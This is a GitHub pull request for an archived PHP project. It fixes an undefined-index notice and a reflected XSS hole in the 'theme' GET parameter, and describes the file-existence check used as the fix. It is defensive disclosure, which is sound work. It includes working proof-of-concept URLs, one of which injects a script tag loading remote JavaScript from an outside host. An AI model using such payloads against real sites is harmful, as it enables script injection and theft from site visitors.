This repository has been archived by the owner on Sep 9, 2021. It is now read-only.
Fixed an XSS vulnerability and 'Undefined index' error for 'theme' GET parameter #12
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
I was encountering a minor PHP Error when not provided a
theme
parameter in the URL:Notice: Undefined index: theme in /php/swmp.php on line 77
I'm using Nginx and PHP7.0-fpm on a debian machine, this quick fix resolves the problem for me.
After digging a little further, I discovered that the
theme
GET parameter was directly used in the HTML output, which results in an XSS vulnerability when you feed HTML tags into thetheme
param, quick example:Here are some URLs you can try out yourself:
http://[your_url]/?theme=test
This results in no CSS theme being applied to the page because there is no CSS file called
test.css
http://[your_url]/?theme=%22%3E%3Ch1%3EHELLO%20This%20is%20pretty%20dangerous%3C/h1%3E
This allows injecting a big H1 message above all page content (demonstrated in screenshot above)
http://[your_url]/?theme=%22%3E%3Cscript%20src=%22http://xss.rocks/xss.js%22%3E%3C/script%3E
Injecting remove Javascript files into the page (suprisingly, Chrome blocks this with their "XSS Auditor")
I fixed this vulnerability by first checking if the CSS file actually exists in the
css/themes
folder. If the file doesn't exist, we stick to the default$config['theme']
.